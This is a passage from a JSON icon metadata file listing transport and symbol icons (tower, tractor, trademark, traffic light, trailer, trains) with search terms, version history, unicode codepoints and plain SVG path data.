        "path": "M80.3 44C69.8 69.9 64 98.2 64 128s5.8 58.1 16.3 84c6.6 16.4-1.3 35-17.7 41.7s-35-1.3-41.7-17.7C7.4 202.6 0 166.1 0 128S7.4 53.4 20.9 20C27.6 3.6 46.2-4.3 62.6 2.3S86.9 27.6 80.3 44zM555.1 20C568.6 53.4 576 89.9 576 128s-7.4 74.6-20.9 108c-6.6 16.4-25.3 24.3-41.7 17.7S489.1 228.4 495.7 212c10.5-25.9 16.3-54.2 16.3-84s-5.8-58.1-16.3-84C489.1 27.6 497 9 513.4 2.3s35 1.3 41.7 17.7zM352 128c0 23.7-12.9 44.4-32 55.4V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V183.4c-19.1-11.1-32-31.7-32-55.4c0-35.3 28.7-64 64-64s64 28.7 64 64zM170.6 76.8C163.8 92.4 160 109.7 160 128s3.8 35.6 10.6 51.2c7.1 16.2-.3 35.1-16.5 42.1s-35.1-.3-42.1-16.5c-10.3-23.6-16-49.6-16-76.8s5.7-53.2 16-76.8c7.1-16.2 25.9-23.6 42.1-16.5s23.6 25.9 16.5 42.1zM464 51.2c10.3 23.6 16 49.6 16 76.8s-5.7 53.2-16 76.8c-7.1 16.2-25.9 23.6-42.1 16.5s-23.6-25.9-16.5-42.1c6.8-15.6 10.6-32.9 10.6-51.2s-3.8-35.6-10.6-51.2c-7.1-16.2 .3-35.1 16.5-42.1s35.1 .3 42.1 16.5z"
      }
    },
    "free": ["solid"]
  },
  "tower-cell": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airwaves",
        "antenna",
        "communication",
        "radio",
        "reception",
        "waves"
      ]
    },
    "styles": ["solid"],
    "unicode": "e585",
    "label": "Tower Cell",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M62.6 2.3C46.2-4.3 27.6 3.6 20.9 20C7.4 53.4 0 89.9 0 128s7.4 74.6 20.9 108c6.6 16.4 25.3 24.3 41.7 17.7S86.9 228.4 80.3 212C69.8 186.1 64 157.8 64 128s5.8-58.1 16.3-84C86.9 27.6 79 9 62.6 2.3zm450.8 0C497 9 489.1 27.6 495.7 44C506.2 69.9 512 98.2 512 128s-5.8 58.1-16.3 84c-6.6 16.4 1.3 35 17.7 41.7s35-1.3 41.7-17.7c13.5-33.4 20.9-69.9 20.9-108s-7.4-74.6-20.9-108C548.4 3.6 529.8-4.3 513.4 2.3zM340.1 165.2c7.5-10.5 11.9-23.3 11.9-37.2c0-35.3-28.7-64-64-64s-64 28.7-64 64c0 13.9 4.4 26.7 11.9 37.2L98.9 466.8c-7.3 16.1-.2 35.1 15.9 42.4s35.1 .2 42.4-15.9L177.7 448H398.3l20.6 45.2c7.3 16.1 26.3 23.2 42.4 15.9s23.2-26.3 15.9-42.4L340.1 165.2zM369.2 384H206.8l14.5-32H354.7l14.5 32zM288 205.3L325.6 288H250.4L288 205.3zM163.3 73.6c5.3-12.1-.2-26.3-12.4-31.6s-26.3 .2-31.6 12.4C109.5 77 104 101.9 104 128s5.5 51 15.3 73.6c5.3 12.1 19.5 17.7 31.6 12.4s17.7-19.5 12.4-31.6C156 165.8 152 147.4 152 128s4-37.8 11.3-54.4zM456.7 54.4c-5.3-12.1-19.5-17.7-31.6-12.4s-17.7 19.5-12.4 31.6C420 90.2 424 108.6 424 128s-4 37.8-11.3 54.4c-5.3 12.1 .2 26.3 12.4 31.6s26.3-.2 31.6-12.4C466.5 179 472 154.1 472 128s-5.5-51-15.3-73.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M62.6 2.3C46.2-4.3 27.6 3.6 20.9 20C7.4 53.4 0 89.9 0 128s7.4 74.6 20.9 108c6.6 16.4 25.3 24.3 41.7 17.7S86.9 228.4 80.3 212C69.8 186.1 64 157.8 64 128s5.8-58.1 16.3-84C86.9 27.6 79 9 62.6 2.3zm450.8 0C497 9 489.1 27.6 495.7 44C506.2 69.9 512 98.2 512 128s-5.8 58.1-16.3 84c-6.6 16.4 1.3 35 17.7 41.7s35-1.3 41.7-17.7c13.5-33.4 20.9-69.9 20.9-108s-7.4-74.6-20.9-108C548.4 3.6 529.8-4.3 513.4 2.3zM340.1 165.2c7.5-10.5 11.9-23.3 11.9-37.2c0-35.3-28.7-64-64-64s-64 28.7-64 64c0 13.9 4.4 26.7 11.9 37.2L98.9 466.8c-7.3 16.1-.2 35.1 15.9 42.4s35.1 .2 42.4-15.9L177.7 448H398.3l20.6 45.2c7.3 16.1 26.3 23.2 42.4 15.9s23.2-26.3 15.9-42.4L340.1 165.2zM369.2 384H206.8l14.5-32H354.7l14.5 32zM288 205.3L325.6 288H250.4L288 205.3zM163.3 73.6c5.3-12.1-.2-26.3-12.4-31.6s-26.3 .2-31.6 12.4C109.5 77 104 101.9 104 128s5.5 51 15.3 73.6c5.3 12.1 19.5 17.7 31.6 12.4s17.7-19.5 12.4-31.6C156 165.8 152 147.4 152 128s4-37.8 11.3-54.4zM456.7 54.4c-5.3-12.1-19.5-17.7-31.6-12.4s-17.7 19.5-12.4 31.6C420 90.2 424 108.6 424 128s-4 37.8-11.3 54.4c-5.3 12.1 .2 26.3 12.4 31.6s26.3-.2 31.6-12.4C466.5 179 472 154.1 472 128s-5.5-51-15.3-73.6z"
      }
    },
    "free": ["solid"]
  },
  "tower-observation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["fire tower", "view"]
    },
    "styles": ["solid"],
    "unicode": "e586",
    "label": "Tower Observation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M241.7 3.4c9-4.5 19.6-4.5 28.6 0l160 80c15.8 7.9 22.2 27.1 14.3 42.9C439 137.5 427.7 144 416 144v80c0 17.7-14.3 32-32 32h-4.9l32 192H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H384.5c-.4 0-.8 0-1.1 0H128.6c-.4 0-.8 0-1.1 0H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l32-192H128c-17.7 0-32-14.3-32-32V144c-11.7 0-23-6.5-28.6-17.7c-7.9-15.8-1.5-35 14.3-42.9l160-80zM314.5 448L256 399.2 197.5 448h117zM197.8 256l-4.7 28.3L256 336.8l62.9-52.5L314.2 256H197.8zm-13.9 83.2l-11.2 67L218.5 368l-34.6-28.8zM293.5 368l45.8 38.1-11.2-67L293.5 368zM176 128c-8.8 0-16 7.2-16 16s7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H176z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M241.7 3.4c9-4.5 19.6-4.5 28.6 0l160 80c15.8 7.9 22.2 27.1 14.3 42.9C439 137.5 427.7 144 416 144v80c0 17.7-14.3 32-32 32h-4.9l32 192H480c17.7 0 32 14.3 32 32s-14.3 32-32 32H384.5c-.4 0-.8 0-1.1 0H128.6c-.4 0-.8 0-1.1 0H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h68.9l32-192H128c-17.7 0-32-14.3-32-32V144c-11.7 0-23-6.5-28.6-17.7c-7.9-15.8-1.5-35 14.3-42.9l160-80zM314.5 448L256 399.2 197.5 448h117zM197.8 256l-4.7 28.3L256 336.8l62.9-52.5L314.2 256H197.8zm-13.9 83.2l-11.2 67L218.5 368l-34.6-28.8zM293.5 368l45.8 38.1-11.2-67L293.5 368zM176 128c-8.8 0-16 7.2-16 16s7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H176z"
      }
    },
    "free": ["solid"]
  },
  "tractor": {
    "aliases": {
      "unicodes": {
        "composite": ["1f69c"],
        "secondary": ["10f722"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["agriculture", "farm", "tractor", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "f722",
    "label": "Tractor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 64c0-35.3 28.7-64 64-64H266.3c26.2 0 49.7 15.9 59.4 40.2L373.7 160H480V126.2c0-24.8 5.8-49.3 16.9-71.6l2.5-5c7.9-15.8 27.1-22.2 42.9-14.3s22.2 27.1 14.3 42.9l-2.5 5c-6.7 13.3-10.1 28-10.1 42.9V160h56c22.1 0 40 17.9 40 40v45.4c0 16.5-8.5 31.9-22.6 40.7l-43.3 27.1c-14.2-5.9-29.8-9.2-46.1-9.2c-39.3 0-74.1 18.9-96 48H352c0 17.7-14.3 32-32 32h-8.2c-1.7 4.8-3.7 9.5-5.8 14.1l5.8 5.8c12.5 12.5 12.5 32.8 0 45.3l-22.6 22.6c-12.5 12.5-32.8 12.5-45.3 0l-5.8-5.8c-4.6 2.2-9.3 4.1-14.1 5.8V480c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32v-8.2c-4.8-1.7-9.5-3.7-14.1-5.8l-5.8 5.8c-12.5 12.5-32.8 12.5-45.3 0L40.2 449.1c-12.5-12.5-12.5-32.8 0-45.3l5.8-5.8c-2.2-4.6-4.1-9.3-5.8-14.1H32c-17.7 0-32-14.3-32-32V320c0-17.7 14.3-32 32-32h8.2c1.7-4.8 3.7-9.5 5.8-14.1l-5.8-5.8c-12.5-12.5-12.5-32.8 0-45.3l22.6-22.6c9-9 21.9-11.5 33.1-7.6V192 160 64zm170.3 0H160v96h32H304.7L266.3 64zM176 256a80 80 0 1 0 0 160 80 80 0 1 0 0-160zM528 448a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0 64c-48.6 0-88-39.4-88-88c0-29.8 14.8-56.1 37.4-72c14.3-10.1 31.8-16 50.6-16c2.7 0 5.3 .1 7.9 .3c44.9 4 80.1 41.7 80.1 87.7c0 48.6-39.4 88-88 88z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 64c0-35.3 28.7-64 64-64H266.3c26.2 0 49.7 15.9 59.4 40.2L373.7 160H480V126.2c0-24.8 5.8-49.3 16.9-71.6l2.5-5c7.9-15.8 27.1-22.2 42.9-14.3s22.2 27.1 14.3 42.9l-2.5 5c-6.7 13.3-10.1 28-10.1 42.9V160h56c22.1 0 40 17.9 40 40v45.4c0 16.5-8.5 31.9-22.6 40.7l-43.3 27.1c-14.2-5.9-29.8-9.2-46.1-9.2c-39.3 0-74.1 18.9-96 48H352c0 17.7-14.3 32-32 32h-8.2c-1.7 4.8-3.7 9.5-5.8 14.1l5.8 5.8c12.5 12.5 12.5 32.8 0 45.3l-22.6 22.6c-12.5 12.5-32.8 12.5-45.3 0l-5.8-5.8c-4.6 2.2-9.3 4.1-14.1 5.8V480c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32v-8.2c-4.8-1.7-9.5-3.7-14.1-5.8l-5.8 5.8c-12.5 12.5-32.8 12.5-45.3 0L40.2 449.1c-12.5-12.5-12.5-32.8 0-45.3l5.8-5.8c-2.2-4.6-4.1-9.3-5.8-14.1H32c-17.7 0-32-14.3-32-32V320c0-17.7 14.3-32 32-32h8.2c1.7-4.8 3.7-9.5 5.8-14.1l-5.8-5.8c-12.5-12.5-12.5-32.8 0-45.3l22.6-22.6c9-9 21.9-11.5 33.1-7.6V192 160 64zm170.3 0H160v96h32H304.7L266.3 64zM176 256a80 80 0 1 0 0 160 80 80 0 1 0 0-160zM528 448a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm0 64c-48.6 0-88-39.4-88-88c0-29.8 14.8-56.1 37.4-72c14.3-10.1 31.8-16 50.6-16c2.7 0 5.3 .1 7.9 .3c44.9 4 80.1 41.7 80.1 87.7c0 48.6-39.4 88-88 88z"
      }
    },
    "free": ["solid"]
  },
  "trade-federation": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f513",
    "label": "Trade Federation",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z"
      }
    },
    "free": ["brands"]
  },
  "trademark": {
    "aliases": {
      "unicodes": {
        "composite": ["2122"],
        "secondary": ["10f25c"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "copyright",
        "mark",
        "register",
        "symbol",
        "tm",
        "trade mark",
        "trademark"
      ]
    },
    "styles": ["solid"],
    "unicode": "f25c",
    "label": "Trademark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M345.6 108.8c-8.3-11-22.7-15.5-35.7-11.2S288 114.2 288 128V384c0 17.7 14.3 32 32 32s32-14.3 32-32V224l86.4 115.2c6 8.1 15.5 12.8 25.6 12.8s19.6-4.7 25.6-12.8L576 224V384c0 17.7 14.3 32 32 32s32-14.3 32-32V128c0-13.8-8.8-26-21.9-30.4s-27.5 .1-35.7 11.2L464 266.7 345.6 108.8zM0 128c0 17.7 14.3 32 32 32H96V384c0 17.7 14.3 32 32 32s32-14.3 32-32V160h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H32C14.3 96 0 110.3 0 128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M345.6 108.8c-8.3-11-22.7-15.5-35.7-11.2S288 114.2 288 128V384c0 17.7 14.3 32 32 32s32-14.3 32-32V224l86.4 115.2c6 8.1 15.5 12.8 25.6 12.8s19.6-4.7 25.6-12.8L576 224V384c0 17.7 14.3 32 32 32s32-14.3 32-32V128c0-13.8-8.8-26-21.9-30.4s-27.5 .1-35.7 11.2L464 266.7 345.6 108.8zM0 128c0 17.7 14.3 32 32 32H96V384c0 17.7 14.3 32 32 32s32-14.3 32-32V160h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H32C14.3 96 0 110.3 0 128z"
      }
    },
    "free": ["solid"]
  },
  "traffic-light": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6a6"],
        "secondary": ["10f637"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "direction",
        "light",
        "road",
        "signal",
        "traffic",
        "travel",
        "vertical traffic light"
      ]
    },
    "styles": ["solid"],
    "unicode": "f637",
    "label": "Traffic Light",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V352c0 88.4 71.6 160 160 160s160-71.6 160-160V64c0-35.3-28.7-64-64-64H64zm96 416a48 48 0 1 1 0-96 48 48 0 1 1 0 96zm48-176a48 48 0 1 1 -96 0 48 48 0 1 1 96 0zm-48-80a48 48 0 1 1 0-96 48 48 0 1 1 0 96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V352c0 88.4 71.6 160 160 160s160-71.6 160-160V64c0-35.3-28.7-64-64-64H64zm96 416a48 48 0 1 1 0-96 48 48 0 1 1 0 96zm48-176a48 48 0 1 1 -96 0 48 48 0 1 1 96 0zm-48-80a48 48 0 1 1 0-96 48 48 0 1 1 0 96z"
      }
    },
    "free": ["solid"]
  },
  "trailer": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e041"]
      }
    },
    "changes": [
      "5.12.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["carry", "haul", "moving", "travel"]
    },
    "styles": ["solid"],
    "unicode": "e041",
    "label": "Trailer",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 32C21.5 32 0 53.5 0 80V336c0 26.5 21.5 48 48 48H65.1c7.8-54.3 54.4-96 110.9-96s103.1 41.7 110.9 96H488h8H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H544V80c0-26.5-21.5-48-48-48H48zM80 96c8.8 0 16 7.2 16 16l0 131.2c-11.4 5.9-22.2 12.9-32 21V112c0-8.8 7.2-16 16-16zm96 128c-5.4 0-10.7 .2-16 .7L160 112c0-8.8 7.2-16 16-16s16 7.2 16 16l0 112.7c-5.3-.5-10.6-.7-16-.7zm80 19.2L256 112c0-8.8 7.2-16 16-16s16 7.2 16 16l0 152.2c-9.8-8.1-20.6-15.2-32-21zM368 96c8.8 0 16 7.2 16 16l0 192c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-192c0-8.8 7.2-16 16-16zm112 16l0 192c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-192c0-8.8 7.2-16 16-16s16 7.2 16 16zM176 480a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-112a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 32C21.5 32 0 53.5 0 80V336c0 26.5 21.5 48 48 48H65.1c7.8-54.3 54.4-96 110.9-96s103.1 41.7 110.9 96H488h8H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H544V80c0-26.5-21.5-48-48-48H48zM80 96c8.8 0 16 7.2 16 16l0 131.2c-11.4 5.9-22.2 12.9-32 21V112c0-8.8 7.2-16 16-16zm96 128c-5.4 0-10.7 .2-16 .7L160 112c0-8.8 7.2-16 16-16s16 7.2 16 16l0 112.7c-5.3-.5-10.6-.7-16-.7zm80 19.2L256 112c0-8.8 7.2-16 16-16s16 7.2 16 16l0 152.2c-9.8-8.1-20.6-15.2-32-21zM368 96c8.8 0 16 7.2 16 16l0 192c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-192c0-8.8 7.2-16 16-16zm112 16l0 192c0 8.8-7.2 16-16 16s-16-7.2-16-16l0-192c0-8.8 7.2-16 16-16s16 7.2 16 16zM176 480a80 80 0 1 0 0-160 80 80 0 1 0 0 160zm0-112a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "train": {
    "aliases": {
      "unicodes": {
        "composite": ["1f686"],
        "secondary": ["10f238"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bullet", "commute", "locomotive", "railway", "subway", "train"]
    },
    "styles": ["solid"],
    "unicode": "f238",
    "label": "Train",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C43 0 0 43 0 96V352c0 48 35.2 87.7 81.1 94.9l-46 46C28.1 499.9 33.1 512 43 512H82.7c8.5 0 16.6-3.4 22.6-9.4L160 448H288l54.6 54.6c6 6 14.1 9.4 22.6 9.4H405c10 0 15-12.1 7.9-19.1l-46-46c46-7.1 81.1-46.9 81.1-94.9V96c0-53-43-96-96-96H96zM64 96c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96zM224 288a48 48 0 1 1 0 96 48 48 0 1 1 0-96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V352c0 48 35.2 87.7 81.1 94.9l-46 46C28.1 499.9 33.1 512 43 512H82.7c8.5 0 16.6-3.4 22.6-9.4L160 448H288l54.6 54.6c6 6 14.1 9.4 22.6 9.4H405c10 0 15-12.1 7.9-19.1l-46-46c46-7.1 81.1-46.9 81.1-94.9V96c0-53-43-96-96-96H96zM64 96c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96zM224 288a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"
      }
    },
    "free": ["solid"]
  },
  "train-subway": {
    "aliases": {
      "names": ["subway"],
      "unicodes": {
        "secondary": ["10f239"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["machine", "railway", "train", "transportation", "vehicle"]
    },
    "styles": ["solid"],
    "unicode": "f239",
    "label": "Train Subway",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C43 0 0 43 0 96V352c0 48 35.2 87.7 81.1 94.9l-46 46C28.1 499.9 33.1 512 43 512H82.7c8.5 0 16.6-3.4 22.6-9.4L160 448H288l54.6 54.6c6 6 14.1 9.4 22.6 9.4H405c10 0 15-12.1 7.9-19.1l-46-46c46-7.1 81.1-46.9 81.1-94.9V96c0-53-43-96-96-96H96zM64 128c0-17.7 14.3-32 32-32h80c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V128zM272 96h80c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H272c-17.7 0-32-14.3-32-32V128c0-17.7 14.3-32 32-32zM64 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm288-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C43 0 0 43 0 96V352c0 48 35.2 87.7 81.1 94.9l-46 46C28.1 499.9 33.1 512 43 512H82.7c8.5 0 16.6-3.4 22.6-9.4L160 448H288l54.6 54.6c6 6 14.1 9.4 22.6 9.4H405c10 0 15-12.1 7.9-19.1l-46-46c46-7.1 81.1-46.9 81.1-94.9V96c0-53-43-96-96-96H96zM64 128c0-17.7 14.3-32 32-32h80c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V128zM272 96h80c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H272c-17.7 0-32-14.3-32-32V128c0-17.7 14.3-32 32-32zM64 352a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm288-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "train-tram": {
    "aliases": {
      "unicodes": {
        "composite": ["1f68a"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "crossing",
        "machine",
        "mountains",
        "seasonal",
        "tram",
        "transportation",
        "trolleybus"
      ]
    },
    "styles": ["solid"],
    "unicode": "e5b4",
    "label": "Train Tram",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M86.8 48c-12.2 0-23.6 5.5-31.2 15L42.7 79C34.5 89.3 19.4 91 9 82.7S-3 59.4 5.3 49L18 33C34.7 12.2 60 0 86.8 0H361.2c26.7 0 52 12.2 68.7 33l12.8 16c8.3 10.4 6.6 25.5-3.8 33.7s-25.5 6.6-33.7-3.7L392.5 63c-7.6-9.5-19.1-15-31.2-15H248V96h40c53 0 96 43 96 96V352c0 30.6-14.3 57.8-36.6 75.4l65.5 65.5c7.1 7.1 2.1 19.1-7.9 19.1H365.3c-8.5 0-16.6-3.4-22.6-9.4L288 448H160l-54.6 54.6c-6 6-14.1 9.4-22.6 9.4H43c-10 0-15-12.1-7.9-19.1l65.5-65.5C78.3 409.8 64 382.6 64 352V192c0-53 43-96 96-96h40V48H86.8zM160 160c-17.7 0-32 14.3-32 32v32c0 17.7 14.3 32 32 32H288c17.7 0 32-14.3 32-32V192c0-17.7-14.3-32-32-32H160zm32 192a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm96 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
